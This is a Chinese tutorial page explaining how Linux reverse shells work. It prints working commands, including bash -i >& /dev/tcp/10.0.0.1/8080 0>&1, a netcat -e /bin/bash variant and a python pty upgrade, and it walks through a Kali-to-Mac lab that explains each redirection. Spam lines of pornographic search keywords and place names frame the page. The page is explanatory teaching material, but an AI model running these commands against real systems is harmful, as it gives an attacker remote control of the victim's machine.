最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

linux反彈shell的原理詳解

 更新時(shí)間:2020年10月16日 10:06:59   作者:Shanfenglan7  
這篇文章主要介紹了linux反彈shell的原理詳解,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

完整命令

反彈shell命令:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i > /dev/tcp/ip/port 0>&1 2>&1

利用nc反彈shell:

nc -lvvp 12345 -t -e /bin/bash

原理

bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打開一個(gè)交互式的bash
&是為了區(qū)分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表輸入 ,0>&1 意思是,將輸出的窗口上所輸入的值當(dāng)作當(dāng)前窗口的輸入。反彈shell后會(huì)有兩個(gè)窗口,即靶機(jī)的shell窗口跟攻擊機(jī)的shell口。這命令的意思也可以理解為,將攻擊機(jī)窗口的輸入當(dāng)作靶機(jī)窗口的輸入最終輸入給靶機(jī)。2代表標(biāo)準(zhǔn)錯(cuò)誤輸出。

實(shí)驗(yàn)

通過一個(gè)小實(shí)驗(yàn)幫助大家理解

第一步,將shell的正確輸出重定向到外部主機(jī)

假設(shè)我們?cè)趉ali上輸入的命令為:
bash -i > /dev/tcp/192.168.124.1/9999,這句話的意思是將交互式shell的標(biāo)準(zhǔn)輸出重定向到192.168.124.1的9999端口。

在mac上監(jiān)聽端口命令為:nc -l 9999

在這里插入圖片描述

首先在kali上輸入whoami命令,發(fā)現(xiàn)沒有回顯,因?yàn)榛仫@被重定向到了mac上。

在這里插入圖片描述

但是當(dāng)我們?cè)趉ali上出入錯(cuò)誤命令的時(shí)候,卻存在回顯。

在這里插入圖片描述

第二步,將錯(cuò)誤輸出重定向到外部主機(jī)

我們只需要在上面的命令后面加上 2>&1即可,意思為將錯(cuò)誤輸出重定向到標(biāo)準(zhǔn)輸出上,也就是重定向到我們的外部主機(jī)。

在這里插入圖片描述

這時(shí)候發(fā)現(xiàn)在kali上按鍵盤已經(jīng)沒有任何回顯了,回顯全部出現(xiàn)在了mac的shell上:

在這里插入圖片描述

這是因?yàn)槲覀円呀?jīng)將所有的輸出都重定向到了外部主機(jī)上,但問題是現(xiàn)在我們的控制權(quán)還在kali上,mac無法進(jìn)行任何輸出操作,只能顯示輸出。這時(shí)候我們幾句需要將輸入的權(quán)限給予我們的mac。

第三步,交出輸入權(quán)限

只需要在第二步命令的基礎(chǔ)上加上 0>&1即可。

在這里插入圖片描述

這時(shí)候已經(jīng)可以在mac上完全控制kali的shell了,實(shí)驗(yàn)結(jié)束。

其他

當(dāng)shell不穩(wěn)定時(shí)候用python的虛擬化終端:

python -c "import pty;pty.spawn('/bin/bash')"

參考:
https://www.freebuf.com/news/142195.html #將shell轉(zhuǎn)換成完全tty
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017

到此這篇關(guān)于linux反彈shell的原理詳解的文章就介紹到這了,更多相關(guān)linux反彈shell內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Shell腳本中多命令邏輯執(zhí)行順序的方法詳解

    Shell腳本中多命令邏輯執(zhí)行順序的方法詳解

    Linux中可以使用分號(hào)“;”、雙and號(hào)“&&”和雙豎線“||”來連接多個(gè)命令,這篇文章主要介紹了Shell腳本中多命令邏輯執(zhí)行順序的方法,本文給大家介紹的非常詳細(xì),對(duì)大家的工作或?qū)W習(xí)具有一定的參考借鑒價(jià)值,需要的朋友參考下
    2020-03-03
  • Linux下快速比較兩個(gè)目錄的不同(多種方法)

    Linux下快速比較兩個(gè)目錄的不同(多種方法)

    這篇文章主要介紹了Linux下快速比較兩個(gè)目錄的不同,本文給大家?guī)砹硕喾N方法,非常不錯(cuò),具有一定的參考借鑒價(jià)值,感興趣的朋友跟隨腳本之家小編一起學(xué)習(xí)吧
    2018-05-05
  • 詳解shell 變量的高級(jí)用法示例

    詳解shell 變量的高級(jí)用法示例

    這篇文章主要介紹了詳解shell 變量的高級(jí)用法示例,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-05-05
  • linux進(jìn)程監(jiān)控shell腳本代碼

    linux進(jìn)程監(jiān)控shell腳本代碼

    這篇文章主要為大家分享一個(gè)監(jiān)控linux進(jìn)程的shell腳本,當(dāng)程序異常退出時(shí)可以自動(dòng)重啟,涉及到捕獲進(jìn)程信號(hào)與重啟進(jìn)程的命令與知識(shí)
    2014-12-12
  • Shell腳本配合iptables屏蔽來自某個(gè)國家的IP訪問

    Shell腳本配合iptables屏蔽來自某個(gè)國家的IP訪問

    這篇文章主要介紹了Shell腳本配合iptables屏蔽來自某個(gè)國家的IP訪問,本文利用IPdeny的IP數(shù)據(jù),然后用Shell腳本導(dǎo)入iptables實(shí)現(xiàn)屏蔽IP訪問,需要的朋友可以參考下
    2015-04-04
  • 阿里云主機(jī)一鍵安裝lamp、lnmp環(huán)境的shell腳本分享

    阿里云主機(jī)一鍵安裝lamp、lnmp環(huán)境的shell腳本分享

    這篇文章主要介紹了阿里云主機(jī)一鍵安裝lamp、lnmp環(huán)境的shell腳本分享,需要的朋友可以參考下
    2014-07-07
  • 利用Shell 腳本解決DDOS攻擊問題

    利用Shell 腳本解決DDOS攻擊問題

    這篇文章主要介紹了利用Shell 腳本解決DDOS攻擊問題的相關(guān)資料,需要的朋友可以參考下
    2017-06-06
  • 如何利用 tee 命令調(diào)試shell腳本中的管道

    如何利用 tee 命令調(diào)試shell腳本中的管道

    在編寫shell腳本時(shí),調(diào)試是個(gè)比較麻煩的事,特別是涉及到多層管道命令的時(shí)候,會(huì)產(chǎn)生多個(gè)中間結(jié)果,tee命令的作用是從標(biāo)準(zhǔn)輸入中讀取數(shù)據(jù)寫入標(biāo)準(zhǔn)輸出或文件中,利用它可以從管道中讀取中間結(jié)果并寫入本地臨時(shí)文件中,通過中間結(jié)果可以一步一步的定位到腳本的錯(cuò)誤
    2021-05-05
  • Linux shell 提取文件名和目錄名的方法

    Linux shell 提取文件名和目錄名的方法

    這篇文章主要介紹了Linux shell 提取文件名和目錄名的方法,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-02-02
  • Linux?Shell腳本中如何獲取命令運(yùn)行的結(jié)果

    Linux?Shell腳本中如何獲取命令運(yùn)行的結(jié)果

    腳本中常常要獲取一些命令的執(zhí)行結(jié)果,比如當(dāng)前目錄pwd、當(dāng)前時(shí)間date等等,下面這篇文章主要給大家介紹了關(guān)于Linux?Shell腳本中如何獲取命令運(yùn)行的結(jié)果,需要的朋友可以參考下
    2023-06-06

最新評(píng)論

滨州市| 堆龙德庆县| 湘乡市| 高尔夫| 深州市| 宁强县| 定陶县| 斗六市| 江北区| 若尔盖县| 安泽县| 和静县| 柳河县| 天柱县| 广德县| 重庆市| 抚顺市| 信阳市| 合川市| 邯郸县| 临泉县| 江达县| 凤翔县| 新宾| 望都县| 库尔勒市| 鸡西市| 寿宁县| 泸溪县| 宾阳县| 镇平县| 文昌市| 上杭县| 神池县| 邢台市| 枣阳市| 驻马店市| 保德县| 湖南省| 灵石县| 工布江达县|